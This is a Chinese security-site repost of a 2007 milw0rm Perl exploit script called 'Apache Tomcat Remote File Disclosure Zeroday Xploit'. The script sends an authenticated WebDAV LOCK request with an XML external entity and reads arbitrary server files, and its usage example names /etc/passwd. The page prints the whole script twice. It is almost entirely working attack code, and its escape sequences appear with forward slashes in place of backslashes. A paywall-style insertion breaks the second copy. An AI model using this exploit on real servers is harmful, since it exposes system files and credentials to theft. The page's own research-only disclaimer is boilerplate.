Apache Tomcat Remote File Disclosure Zeroday Xploit 's

admin 2017年4月14日16:33:42评论303 views字数 1787阅读5分57秒阅读模式
摘要

来源:milw0rm.com
#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
  print "Apache Tomcat Remote File Disclosure Zeroday Xploit/n";
  print "kcdarookie aka eliteb0y / 2007/n";
  print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]/n";
  print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat/n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => $remoteport,
Proto => 'tcp');

$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version=/"1.0/"?>/n"
."<!DOCTYPE REMOTE [/n"
."<!ENTITY RemoteX SYSTEM /"$remotefile/">/n"
."]>/n"
."<D:lockinfo xmlns:D='DAV:'>/n"
."<D:lockscope><D:exclusive/></D:lockscope>/n"
."<D:locktype><D:write/></D:locktype>/n"
."<D:owner>/n"
."<D:href>/n"
."<REMOTE>/n"
."<RemoteX>&RemoteX;</RemoteX>/n"
."</REMOTE>/n"
."</D:href>/n"
."</D:owner>/n"
."</D:lockinfo>/n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit/n";
print "kcdarookie aka eliteb0y / 2007/n";
print "Launching Remote Exploit.../n";

$ExploitRequest =
"LOCK $webdavfile HTTP/1.1/r/n"
."Host: $hostname/r/n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth/r/n";  
}
$ExploitRequest .= "Content-Type: text/xml/r/nContent-Length: ".length($KRADXmL)."/r/n/r/n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
  print;
}

来源:milw0rm.com


#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
  print "Apache Tomcat Remote File Disclosure Zeroday Xploit/n";
  print "kcdarookie aka eliteb0y / 2007/n";
  print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username]

输入密码查看隐藏内容

/n";
  print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat/n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => $remoteport,
Proto => 'tcp');

$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version=/"1.0/"?>/n"
."<!DOCTYPE REMOTE [/n"
."<!ENTITY RemoteX SYSTEM /"$remotefile/">/n"
."]>/n"
."<D:lockinfo xmlns:D='DAV:'>/n"
."<D:lockscope><D:exclusive/></D:lockscope>/n"
."<D:locktype><D:write/></D:locktype>/n"
."<D:owner>/n"
."<D:href>/n"
."<REMOTE>/n"
."<RemoteX>&RemoteX;</RemoteX>/n"
."</REMOTE>/n"
."</D:href>/n"
."</D:owner>/n"
."</D:lockinfo>/n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit/n";
print "kcdarookie aka eliteb0y / 2007/n";
print "Launching Remote Exploit.../n";

$ExploitRequest =
"LOCK $webdavfile HTTP/1.1/r/n"
."Host: $hostname/r/n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth/r/n";  
}
$ExploitRequest .= "Content-Type: text/xml/r/nContent-Length: ".length($KRADXmL)."/r/n/r/n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
  print;
}

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月14日16:33:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Tomcat Remote File Disclosure Zeroday Xploit 'shttps://cn-sec.com/archives/46674.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息